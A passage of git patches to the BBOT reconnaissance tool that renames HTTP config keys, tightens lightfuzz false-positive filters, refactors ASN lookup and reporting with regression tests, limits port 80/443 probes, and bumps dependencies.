`web.blasthttp_timeout` | -| `web.httpx_retries` | `web.blasthttp_retries` | +| `web.httpx_timeout` | `web.http_timeout` (target-directed traffic, default `10`) | +| *(no equivalent)* | `web.http_timeout_infrastructure` (API calls, wordlist downloads, etc., default `10`) | +| `web.httpx_retries` | `web.http_retries` | | `dns.threads` (global) | `dns.threads` (now per-resolver; default lowered from 25 -> 10) | -| `web.ssl_verify` | split into `web.ssl_verify_target` (default `false`) and `web.ssl_verify_infrastructure` (default `true`) | +| `web.ssl_verify` | `web.ssl_verify_target` (target-directed traffic, default `false`) | +| *(no equivalent)* | `web.ssl_verify_infrastructure` (API calls, wordlist downloads, etc., default `true`) | ### Removed @@ -575,8 +577,9 @@ subclasses, or `bbot.db.sql.models` will need to be ported. `cumulative_confidence`. - [ ] Stop mutating `event._resolved_hosts` / `event.dns_children` directly; use the new `add_resolved_host` / `add_dns_child` helpers. -- [ ] Update config keys: `web.httpx_timeout -> web.blasthttp_timeout`, - `web.httpx_retries -> web.blasthttp_retries`, +- [ ] Update config keys: `web.httpx_timeout -> web.http_timeout` / + `web.http_timeout_infrastructure`, + `web.httpx_retries -> web.http_retries`, `web.ssl_verify -> web.ssl_verify_target` / `web.ssl_verify_infrastructure`. - [ ] Update imports: `bbot.db.sql.models -> bbot.models.sql`. - [ ] If you ship a custom module that watches URLs but doesn't want From e66182dddb63cccf0bbcbcbf213249fe9bc77925 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 19 Jun 2026 15:23:27 -0400 Subject: [PATCH 879/912] Tighten lightfuzz false positives - Add OAMRequestContext_ to parameter_blacklist_prefixes (Oracle Access Manager infrastructure cookies) - Add XSRF-TOKEN to parameter_blacklist (missing CSRF token variant) - Reject Error Resolution baselines with status 403/429 in serial submodule (transient WAF/rate-limit states produce unstable baselines) --- bbot/defaults.yml | 2 ++ bbot/modules/lightfuzz/submodules/serial.py | 9 +++++++++ 2 files changed, 11 insertions(+) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index b28472948d..35d05589e1 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -287,6 +287,7 @@ parameter_blacklist: - PHPSESSID - sessionid - csrftoken + - XSRF-TOKEN - __cf_bm - _cfuvid - cf_clearance @@ -336,6 +337,7 @@ parameter_blacklist_prefixes: - _hjSession - _gat_ - intercom- + - OAMRequestContext_ # Don't output these types of events (they are still distributed to modules) omit_event_types: diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 8aa1cd0aac..0e67bec69b 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -289,6 +289,15 @@ async def fuzz(self): ) continue + # Skip inherently unstable baselines: 429 (rate limit) and 403 (often WAF challenge pages) + # flip between error and success unpredictably, producing false positives. + if baseline_status in (403, 429): + self.debug( + f"Baseline status {baseline_status} is transient (WAF/rate-limit), " + f"skipping Error Resolution for {payload_type}" + ) + continue + general_error_matches = await self.lightfuzz.helpers.yara.match( self.general_error_yara_rules, response.text ) From 4330326b21b18cf6326f7be9a4721ab8d30c98a8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 19 Jun 2026 16:38:23 -0400 Subject: [PATCH 880/912] Restore description in VIRTUAL_HOST event display When the VIRTUAL_HOST event class was registered in base.py, _pretty_string and _data_human only included the virtual_host name, dropping the rich description that was previously visible when the event fell through to default JSON serialization. --- bbot/core/event/base.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 128571ff3d..215c9f61f9 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -2020,14 +2020,18 @@ def _data_id(self): return f"{self.host}:{virtual_host}" def _pretty_string(self): - return self.data.get("virtual_host", "") - - def _data_human(self): virtual_host = self.data.get("virtual_host", "") url = self.data.get("url", "") + description = self.data.get("description", "") + parts = [virtual_host] if url: - return f"{virtual_host} ({url})" - return virtual_host + parts.append(f"({url})") + if description: + parts.append(description) + return " ".join(parts) + + def _data_human(self): + return self._pretty_string() class PROTOCOL(DictHostEvent): From 59f4e70923076dd395af38dbdc9f2ee45aa3e51b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 20 Jun 2026 12:00:22 -0400 Subject: [PATCH 881/912] Fix ASN report-phase cache miss and redundant network calls --- bbot/core/helpers/asn.py | 2 +- bbot/modules/report/asn.py | 42 +++++------- .../module_tests/test_module_asn.py | 68 +++++++++++++++++++ 3 files changed, 85 insertions(+), 27 deletions(-) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 34270e70df..3c36188bfa 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -84,7 +84,7 @@ async def asn_to_subnets(self, asn): log.warning(f"Invalid ASN format: {asn}") return self.UNKNOWN_ASN try: - response = await self.client.lookup_asn(str(asn), include_subnets=True) + response = await self.client.lookup_asn(asn, include_subnets=True) except Exception as e: log.warning(f"ASN lookup failed for AS{asn}: {e}") self._record_failure() diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index 54455e3bf0..87eef80414 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -18,8 +18,7 @@ class asn(BaseReportModule): async def setup(self): self.unknown_asn = ASNHelper.UNKNOWN_ASN - # Track ASN counts locally for reporting - self.asn_counts = {} # ASN number -> count mapping + self.asn_metadata = {} return True async def filter_event(self, event): @@ -41,10 +40,14 @@ async def handle_event(self, event): asn_country = asn_data.get("country", "") subnets = asn_data.get("subnets", []) - # Track ASN subnet counts for reporting (only once per ASN) if asn_number and asn_number != 0: - if asn_number not in self.asn_counts: - self.asn_counts[asn_number] = len(subnets) + if asn_number not in self.asn_metadata: + self.asn_metadata[asn_number] = { + "subnet_count": len(subnets), + "name": asn_name, + "description": asn_description, + "country": asn_country, + } # Don't emit ASN 0 - it's reserved and indicates unknown ASN data if asn_number != 0: @@ -56,34 +59,21 @@ async def handle_event(self, event): ) async def report(self): - """Generate an ASN summary table based on locally tracked ASN counts.""" - - if not self.asn_counts: + if not self.asn_metadata: return - # Build table rows sorted by ASN number (low to high) - sorted_asns = sorted(self.asn_counts.items(), key=lambda x: int(x[0])) + sorted_asns = sorted(self.asn_metadata.items(), key=lambda x: int(x[0])) header = ["ASN", "Subnet Count", "Name", "Description", "Country"] table = [] - for asn_number, subnet_count in sorted_asns: - # Get ASN details from helper - asn_data = await self.helpers.asn.asn_to_subnets(asn_number) - if asn_data: - asn_name = asn_data.get("name", "") - asn_description = asn_data.get("description", "") - asn_country = asn_data.get("country", "") - else: - asn_name = asn_description = asn_country = "unknown" - - number = f"AS{asn_number}" if asn_number != 0 else str(asn_number) + for asn_number, metadata in sorted_asns: table.append( [ - number, - f"{subnet_count:,}", - asn_name, - asn_description, - asn_country, + f"AS{asn_number}", + f"{metadata['subnet_count']:,}", + metadata["name"], + metadata["description"], + metadata["country"], ] ) diff --git a/bbot/test/test_step_2/module_tests/test_module_asn.py b/bbot/test/test_step_2/module_tests/test_module_asn.py index 1f74b776ce..90cd90284b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_asn.py +++ b/bbot/test/test_step_2/module_tests/test_module_asn.py @@ -1,3 +1,5 @@ +from unittest.mock import AsyncMock, patch + from .base import ModuleTestBase @@ -28,3 +30,69 @@ def check(self, module_test, events): assert not asn_events, ( f"Should not emit any ASN events for private IP, but found: {[e.data for e in asn_events]}" ) + + +class TestASNCacheKeyType(ModuleTestBase): + """Regression: asn_to_subnets() must hit the asndb cache after ip_to_subnets() populated it. + + The asndb LRU cache stores with int keys. If asn_to_subnets() passes a + string key, every report-phase lookup misses the cache and hits the network. + """ + + targets = ["8.8.8.8"] + module_name = "asn" + modules_overrides = ["asn", "speculate"] + config_overrides = {"scope": {"report_distance": 2}, "speculate": True} + + async def check(self, module_test, events): + asn_events = [e for e in events if e.type == "ASN"] + assert asn_events, "No ASN event produced" + + asn_helper = module_test.scan.helpers.asn + client = asn_helper.client + + cached_asns = list(client._asn_cache.keys()) + assert cached_asns, "asndb cache is empty after scan" + for key in cached_asns: + assert isinstance(key, int), f"Cache key {key!r} is {type(key).__name__}, expected int" + + # asn_to_subnets() with an int should hit the cache without any network call + test_asn = cached_asns[0] + with patch.object(client, "request", new_callable=AsyncMock) as mock_request: + result = await asn_helper.asn_to_subnets(test_asn) + assert result["asn"] != 0, "asn_to_subnets() returned UNKNOWN_ASN despite cached data" + mock_request.assert_not_called() + + +class TestASNReportNoNetwork(ModuleTestBase): + """Regression: report() uses metadata stored during handle_event() with zero network calls.""" + + targets = ["8.8.8.8"] + module_name = "asn" + modules_overrides = ["asn", "speculate"] + config_overrides = {"scope": {"report_distance": 2}, "speculate": True} + + async def check(self, module_test, events): + asn_events = [e for e in events if e.type == "ASN"] + assert asn_events, "No ASN event produced" + + asn_module = module_test.scan.modules["asn"] + + # handle_event() should have stored metadata for report() + assert asn_module.asn_metadata, "asn_metadata is empty after scan" + for asn_number, metadata in asn_module.asn_metadata.items(): + assert isinstance(asn_number, int), f"asn_metadata key {asn_number!r} should be int" + assert metadata["subnet_count"] > 0 + assert metadata["name"] + assert metadata["description"] + + # report() should not touch the network at all + asn_helper = module_test.scan.helpers.asn + with patch.object(asn_helper.client, "request", new_callable=AsyncMock) as mock_request: + await asn_module.report() + mock_request.assert_not_called() + + # Verify the report table was emitted via logging + log_text = "\n".join(r.message for r in module_test.caplog.records) + for asn_number in asn_module.asn_metadata: + assert f"AS{asn_number}" in log_text, f"AS{asn_number} not found in report log output" From 316f4c69afaf9cb08b9b8c972ca7210446b49a6c Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 21 Jun 2026 04:42:54 +0000 Subject: [PATCH 882/912] Bump actions/checkout from 6 to 7 in the github-actions group Bumps the github-actions group with 1 update: [actions/checkout](https://github.com/actions/checkout). Updates `actions/checkout` from 6 to 7 - [Release notes](https://github.com/actions/checkout/releases) - [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md) - [Commits](https://github.com/actions/checkout/compare/v6...v7) --- updated-dependencies: - dependency-name: actions/checkout dependency-version: '7' dependency-type: direct:production update-type: version-update:semver-major dependency-group: github-actions ... Signed-off-by: dependabot[bot] --- .github/workflows/benchmark.yml | 2 +- .github/workflows/codeql.yml | 2 +- .github/workflows/distro_tests.yml | 2 +- .github/workflows/docs_updater.yml | 2 +- .github/workflows/tests.yml | 8 ++++---- .github/workflows/version_updater.yml | 4 ++-- 6 files changed, 10 insertions(+), 10 deletions(-) diff --git a/.github/workflows/benchmark.yml b/.github/workflows/benchmark.yml index 9bc476bb29..a34b3f0e4c 100644 --- a/.github/workflows/benchmark.yml +++ b/.github/workflows/benchmark.yml @@ -20,7 +20,7 @@ jobs: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v6 + - uses: actions/checkout@v7 with: fetch-depth: 0 # Need full history for branch comparison diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml index 3b4d8e2bb7..7117a72e89 100644 --- a/.github/workflows/codeql.yml +++ b/.github/workflows/codeql.yml @@ -55,7 +55,7 @@ jobs: # your codebase is analyzed, see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages steps: - name: Checkout repository - uses: actions/checkout@v6 + uses: actions/checkout@v7 # Add any setup steps before running the `github/codeql-action/init` action. # This includes steps like installing compilers or runtimes (`actions/setup-node` diff --git a/.github/workflows/distro_tests.yml b/.github/workflows/distro_tests.yml index 3d43d149e7..66ca3f03a4 100644 --- a/.github/workflows/distro_tests.yml +++ b/.github/workflows/distro_tests.yml @@ -16,7 +16,7 @@ jobs: matrix: os: ["ubuntu:22.04", "ubuntu:24.04", "debian", "archlinux", "fedora", "kalilinux/kali-rolling"] steps: - - uses: actions/checkout@v6 + - uses: actions/checkout@v7 - name: Install Python and uv run: | if [ -f /etc/os-release ]; then diff --git a/.github/workflows/docs_updater.yml b/.github/workflows/docs_updater.yml index bd7a8975ab..4ad688e9d2 100644 --- a/.github/workflows/docs_updater.yml +++ b/.github/workflows/docs_updater.yml @@ -9,7 +9,7 @@ jobs: update_docs: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v6 + - uses: actions/checkout@v7 with: token: ${{ secrets.BBOT_DOCS_UPDATER_PAT }} ref: dev # Checkout the dev branch diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 80cfeb38a9..76ccba7f77 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -19,7 +19,7 @@ jobs: matrix: python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"] steps: - - uses: actions/checkout@v6 + - uses: actions/checkout@v7 - name: Set up Python uses: actions/setup-python@v6 with: @@ -57,7 +57,7 @@ jobs: if: github.event_name == 'push' && (github.ref == 'refs/heads/dev' || github.ref == 'refs/heads/stable') continue-on-error: true steps: - - uses: actions/checkout@v6 + - uses: actions/checkout@v7 with: fetch-depth: 0 - name: Set up Docker Buildx @@ -204,7 +204,7 @@ jobs: runs-on: ubuntu-latest if: github.event_name == 'push' && (github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev') steps: - - uses: actions/checkout@v6 + - uses: actions/checkout@v7 with: fetch-depth: 0 - name: Configure git @@ -225,7 +225,7 @@ jobs: runs-on: ubuntu-latest if: github.event_name == 'push' && (github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev') steps: - - uses: actions/checkout@v6 + - uses: actions/checkout@v7 with: token: ${{ secrets.BBOT_DOCS_UPDATER_PAT }} - uses: actions/setup-python@v6 diff --git a/.github/workflows/version_updater.yml b/.github/workflows/version_updater.yml index f9adcc994e..446788c328 100644 --- a/.github/workflows/version_updater.yml +++ b/.github/workflows/version_updater.yml @@ -9,7 +9,7 @@ jobs: update-nuclei-version: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v6 + - uses: actions/checkout@v7 with: ref: dev fetch-depth: 0 @@ -61,7 +61,7 @@ jobs: update-trufflehog-version: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v6 + - uses: actions/checkout@v7 with: ref: dev fetch-depth: 0 From 006feeaca9e84460a78bac29b0cb82a7108d9e70 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 21 Jun 2026 04:43:04 +0000 Subject: [PATCH 883/912] Bump ruff from 0.15.17 to 0.15.18 Bumps [ruff](https://github.com/astral-sh/ruff) from 0.15.17 to 0.15.18. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.15.17...0.15.18) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.15.18 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 17ab2e86a2..dab0a985b5 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -80,7 +80,7 @@ dev = [ "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "baddns~=2.4.0", - "ruff==0.15.17", + "ruff==0.15.18", "maturin>=1.4,<2", ] docs = [ From 617dac2569bfa2e41b55c7cf3025292628157d74 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 22 Jun 2026 13:03:51 +0000 Subject: [PATCH 884/912] Update fastapi requirement from <0.137.0,>=0.115.5 to >=0.115.5,<0.139.0 Updates the requirements on [fastapi](https://github.com/fastapi/fastapi) to permit the latest version. - [Release notes](https://github.com/fastapi/fastapi/releases) - [Commits](https://github.com/fastapi/fastapi/compare/0.115.5...0.138.0) --- updated-dependencies: - dependency-name: fastapi dependency-version: 0.138.0 dependency-type: direct:development ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index dab0a985b5..295d4e4626 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -76,7 +76,7 @@ dev = [ "pytest>=8.3.1,<10", "pytest-asyncio==1.4.0", "uvicorn>=0.32,<0.50", - "fastapi>=0.115.5,<0.137.0", + "fastapi>=0.115.5,<0.139.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "baddns~=2.4.0", From 03b00cb091cecfb87c0bb8c4eb495904ab3e7c36 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 22 Jun 2026 13:55:04 -0400 Subject: [PATCH 885/912] Skip mismatched protocol/port probes for well-known ports --- bbot/modules/http.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/bbot/modules/http.py b/bbot/modules/http.py index 7b6655e5b7..aadb241fbc 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -81,10 +81,15 @@ def make_url_metadata(self, event): url_hash = hash((event.host, event.port, has_spider_max)) urls = [url] else: - # OPEN_TCP_PORT — probe both http and https + # OPEN_TCP_PORT — probe both http and https (but skip mismatched well-known ports) host = event.host port = event.port - urls = [f"http://{host}:{port}/", f"https://{host}:{port}/"] + if port == 443: + urls = [f"https://{host}:{port}/"] + elif port == 80: + urls = [f"http://{host}:{port}/"] + else: + urls = [f"http://{host}:{port}/", f"https://{host}:{port}/"] url_hash = hash((host, port, has_spider_max)) if url_hash is None: url_hash = hash((urls[0], has_spider_max)) From 1655d72b14fcddfa1532cb9eb2e1077fd44988fd Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 23 Jun 2026 13:46:58 -0400 Subject: [PATCH 886/912] Route ASN seed expansion through shared ASNHelper --- bbot/core/event/helpers.py | 44 +++++-------------- bbot/core/helpers/asn.py | 38 +++++++++------- bbot/scanner/scanner.py | 3 +- bbot/scanner/target.py | 6 +-- .../module_tests/test_module_asn.py | 32 -------------- 5 files changed, 36 insertions(+), 87 deletions(-) diff --git a/bbot/core/event/helpers.py b/bbot/core/event/helpers.py index 43517462da..bf7e5d947c 100644 --- a/bbot/core/event/helpers.py +++ b/bbot/core/event/helpers.py @@ -111,7 +111,7 @@ def _sanitize_and_extract_host(self, data): """ return data, None, None - async def _generate_children(self, ssl_verify=False): + async def _generate_children(self, helpers=None): return [] def _override_input(self, input): @@ -290,39 +290,15 @@ class ASN(BaseEventSeed): def _override_input(self, input): return f"ASN:{self.data}" - MAX_RETRIES = 3 - RETRY_DELAY = 3 - - async def _generate_children(self, ssl_verify=False): - import asyncio - import logging - - from asndb import ASNDB - - log = logging.getLogger("bbot.core.event.helpers") - client = ASNDB(verify=ssl_verify) - last_error = None - for attempt in range(1, self.MAX_RETRIES + 1): - try: - asn_data = await client.lookup_asn(str(self.data), include_subnets=True) - children = [] - if asn_data: - subnets = asn_data.get("subnets") - if isinstance(subnets, str): - subnets = [subnets] - if subnets: - for cidr in subnets: - children.append(cidr) - return children - except Exception as e: - last_error = e - log.warning(f"ASN resolution attempt {attempt}/{self.MAX_RETRIES} failed for AS{self.data}: {e}") - if attempt < self.MAX_RETRIES: - await asyncio.sleep(self.RETRY_DELAY) - - from bbot.errors import ASNResolutionError - - raise ASNResolutionError(f"AS{self.data}: {last_error}") + # ASNs are essentially a superset of IP_RANGES. This resolves the ASN to its + # subnets via the shared ASN helper and emits each CIDR as a child seed, + # which is later resolved to an IP_RANGE seed and added to the target. + async def _generate_children(self, helpers=None): + asn_data = await helpers.asn.asn_to_subnets(self.data) + subnets = asn_data.get("subnets") or [] + if isinstance(subnets, str): + subnets = [subnets] + return list(subnets) @staticmethod def handle_match(match): diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 3c36188bfa..5da042f19c 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -1,5 +1,7 @@ import logging +from bbot.errors import ASNResolutionError + log = logging.getLogger("bbot.core.helpers.asn") @@ -20,6 +22,8 @@ class ASNHelper: } FAILURE_THRESHOLD = 5 + MAX_RETRIES = 3 + RETRY_DELAY = 3 def __init__(self, parent_helper): self.parent_helper = parent_helper @@ -74,23 +78,25 @@ async def ip_to_subnets(self, ip): return self._normalize(response) async def asn_to_subnets(self, asn): - """Return ASN info (including subnets) for an ASN number.""" - if self._circuit_broken: - return self.UNKNOWN_ASN - if isinstance(asn, str): + """Resolve an ASN number to its subnets, retrying on transient failure. + + Used by ASN-as-target seed expansion, which cannot degrade gracefully: + without the ASN's subnets there is nothing to scan. Raises + ASNResolutionError if the ASN can't be resolved after MAX_RETRIES so the + scan aborts with guidance instead of silently scanning nothing. + """ + asn = int(str(asn).lower().lstrip("as")) + last_error = None + for attempt in range(1, self.MAX_RETRIES + 1): try: - asn = int(asn.lower().lstrip("as")) - except ValueError: - log.warning(f"Invalid ASN format: {asn}") - return self.UNKNOWN_ASN - try: - response = await self.client.lookup_asn(asn, include_subnets=True) - except Exception as e: - log.warning(f"ASN lookup failed for AS{asn}: {e}") - self._record_failure() - return self.UNKNOWN_ASN - self._consecutive_failures = 0 - return self._normalize(response) + response = await self.client.lookup_asn(asn, include_subnets=True) + return self._normalize(response) + except Exception as e: + last_error = e + log.warning(f"ASN resolution attempt {attempt}/{self.MAX_RETRIES} failed for AS{asn}: {e}") + if attempt < self.MAX_RETRIES: + await self.parent_helper.sleep(self.RETRY_DELAY) + raise ASNResolutionError(f"AS{asn}: {last_error}") async def cleanup(self): """Clean up the asndb client.""" diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 47d765069a..182d6e1beb 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -328,9 +328,8 @@ async def _prep(self): creates the scan's output folder, loads its modules, and calls their .setup() methods. """ # expand async seed types (e.g. ASN -> IP ranges) - ssl_verify = self.preset.web_config.get("ssl_verify_infrastructure", True) try: - await self.preset.target.generate_children(ssl_verify=ssl_verify) + await self.preset.target.generate_children(helpers=self.helpers) except ASNResolutionError as e: raise ScanError( f"Failed to resolve ASN target ({e}). " diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index fb925eb4a4..d21468428c 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -410,7 +410,7 @@ def in_target(self, host): def __eq__(self, other): return self.hash == other.hash - async def generate_children(self, ssl_verify=False): + async def generate_children(self, helpers=None): """ Generate children for the target, for seed types that expand into other seed types. E.g. ASN targets are expanded into their constituent IP ranges. @@ -421,13 +421,13 @@ async def generate_children(self, ssl_verify=False): # Expand seeds first for event_seed in list(self.seeds.event_seeds): - children = await event_seed._generate_children(ssl_verify=ssl_verify) + children = await event_seed._generate_children(helpers=helpers) for child in children: self.seeds.add(child) # Also expand blacklist event seeds (like ASN targets) for event_seed in list(self.blacklist.event_seeds): - children = await event_seed._generate_children(ssl_verify=ssl_verify) + children = await event_seed._generate_children(helpers=helpers) for child in children: self.blacklist.add(child) diff --git a/bbot/test/test_step_2/module_tests/test_module_asn.py b/bbot/test/test_step_2/module_tests/test_module_asn.py index 90cd90284b..5c848ab9d5 100644 --- a/bbot/test/test_step_2/module_tests/test_module_asn.py +++ b/bbot/test/test_step_2/module_tests/test_module_asn.py @@ -32,38 +32,6 @@ def check(self, module_test, events): ) -class TestASNCacheKeyType(ModuleTestBase): - """Regression: asn_to_subnets() must hit the asndb cache after ip_to_subnets() populated it. - - The asndb LRU cache stores with int keys. If asn_to_subnets() passes a - string key, every report-phase lookup misses the cache and hits the network. - """ - - targets = ["8.8.8.8"] - module_name = "asn" - modules_overrides = ["asn", "speculate"] - config_overrides = {"scope": {"report_distance": 2}, "speculate": True} - - async def check(self, module_test, events): - asn_events = [e for e in events if e.type == "ASN"] - assert asn_events, "No ASN event produced" - - asn_helper = module_test.scan.helpers.asn - client = asn_helper.client - - cached_asns = list(client._asn_cache.keys()) - assert cached_asns, "asndb cache is empty after scan" - for key in cached_asns: - assert isinstance(key, int), f"Cache key {key!r} is {type(key).__name__}, expected int" - - # asn_to_subnets() with an int should hit the cache without any network call - test_asn = cached_asns[0] - with patch.object(client, "request", new_callable=AsyncMock) as mock_request: - result = await asn_helper.asn_to_subnets(test_asn) - assert result["asn"] != 0, "asn_to_subnets() returned UNKNOWN_ASN despite cached data" - mock_request.assert_not_called() - - class TestASNReportNoNetwork(ModuleTestBase): """Regression: report() uses metadata stored during handle_event() with zero network calls.""" From c533e631667b870004bbfff4f94359e6894f250c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 23 Jun 2026 14:10:29 -0400 Subject: [PATCH 887/912] Use make_netloc for http port probes, add url_metadata test --- bbot/modules/http.py | 7 ++-- .../module_tests/test_module_http.py | 39 +++++++++++++++++++ 2 files changed, 43 insertions(+), 3 deletions(-) diff --git a/bbot/modules/http.py b/bbot/modules/http.py index aadb241fbc..faa394d614 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -84,12 +84,13 @@ def make_url_metadata(self, event): # OPEN_TCP_PORT — probe both http and https (but skip mismatched well-known ports) host = event.host port = event.port + netloc = self.helpers.make_netloc(host, port) if port == 443: - urls = [f"https://{host}:{port}/"] + urls = [f"https://{netloc}/"] elif port == 80: - urls = [f"http://{host}:{port}/"] + urls = [f"http://{netloc}/"] else: - urls = [f"http://{host}:{port}/", f"https://{host}:{port}/"] + urls = [f"http://{netloc}/", f"https://{netloc}/"] url_hash = hash((host, port, has_spider_max)) if url_hash is None: url_hash = hash((urls[0], has_spider_max)) diff --git a/bbot/test/test_step_2/module_tests/test_module_http.py b/bbot/test/test_step_2/module_tests/test_module_http.py index e934a87fc7..335f3c8b0c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_http.py +++ b/bbot/test/test_step_2/module_tests/test_module_http.py @@ -211,6 +211,45 @@ def check(self, module_test, events): ) +class TestHTTP_url_metadata(ModuleTestBase): + """White-box test of make_url_metadata's OPEN_TCP_PORT probe set. + + Well-known ports only probe their matching scheme (443→https, 80→http); + every other port probes both. url_hash stays scheme-independent so incoming + dedup is unaffected, and IPv6 hosts get bracketed netlocs. + """ + + targets = ["http://127.0.0.1:8888"] + module_name = "http" + modules_overrides = ["http"] + + def check(self, module_test, events): + module = module_test.module + make_event = module_test.scan.make_event + + e443 = make_event("127.0.0.1:443", "OPEN_TCP_PORT", dummy=True) + urls, url_hash = module.make_url_metadata(e443) + assert urls == ["https://127.0.0.1:443/"], "port 443 should probe https only" + # url_hash is scheme-independent, so OPEN_TCP_PORT dedup is unaffected + assert url_hash == hash((e443.host, e443.port, False)) + + e80 = make_event("127.0.0.1:80", "OPEN_TCP_PORT", dummy=True) + urls, _ = module.make_url_metadata(e80) + assert urls == ["http://127.0.0.1:80/"], "port 80 should probe http only" + + e8080 = make_event("127.0.0.1:8080", "OPEN_TCP_PORT", dummy=True) + urls, _ = module.make_url_metadata(e8080) + assert urls == ["http://127.0.0.1:8080/", "https://127.0.0.1:8080/"], ( + "non-well-known ports should probe both schemes" + ) + + e6 = make_event("[dead::beef]:8080", "OPEN_TCP_PORT", dummy=True) + urls, _ = module.make_url_metadata(e6) + assert urls == ["http://[dead::beef]:8080/", "https://[dead::beef]:8080/"], ( + "IPv6 hosts should produce bracketed netlocs" + ) + + class TestHTTP_429_max_retries(ModuleTestBase): targets = ["http://127.0.0.1:8888"] modules_overrides = ["http"] From e310d5ffe04c0a44b5cd06ff872056a48d4427cb Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 23 Jun 2026 14:18:06 -0400 Subject: [PATCH 888/912] Require helpers param in generate_children; fix ASN target test callers --- bbot/core/event/helpers.py | 4 ++-- bbot/scanner/target.py | 2 +- bbot/test/test_step_1/test_target.py | 6 ++++-- 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/bbot/core/event/helpers.py b/bbot/core/event/helpers.py index bf7e5d947c..be85faef55 100644 --- a/bbot/core/event/helpers.py +++ b/bbot/core/event/helpers.py @@ -111,7 +111,7 @@ def _sanitize_and_extract_host(self, data): """ return data, None, None - async def _generate_children(self, helpers=None): + async def _generate_children(self, helpers): return [] def _override_input(self, input): @@ -293,7 +293,7 @@ def _override_input(self, input): # ASNs are essentially a superset of IP_RANGES. This resolves the ASN to its # subnets via the shared ASN helper and emits each CIDR as a child seed, # which is later resolved to an IP_RANGE seed and added to the target. - async def _generate_children(self, helpers=None): + async def _generate_children(self, helpers): asn_data = await helpers.asn.asn_to_subnets(self.data) subnets = asn_data.get("subnets") or [] if isinstance(subnets, str): diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index d21468428c..78fcb144f4 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -410,7 +410,7 @@ def in_target(self, host): def __eq__(self, other): return self.hash == other.hash - async def generate_children(self, helpers=None): + async def generate_children(self, helpers): """ Generate children for the target, for seed types that expand into other seed types. E.g. ASN targets are expanded into their constituent IP ranges. diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index e85a50ffc3..2df98df652 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -383,6 +383,7 @@ async def test_asn_targets(bbot_scanner): assert "ASN:15169" in target.seeds.inputs # Test ASN target expansion with real asndb (Google's AS15169) + scan = bbot_scanner("ASN:15169") target = BBOTTarget(target=["ASN:15169"]) # Verify initial state @@ -390,7 +391,7 @@ async def test_asn_targets(bbot_scanner): initial_seeds = len(target.seeds.event_seeds) # Generate children (expand ASN to IP ranges) - await target.generate_children() + await target.generate_children(helpers=scan.helpers) # After expansion, should have additional IP range seeds assert 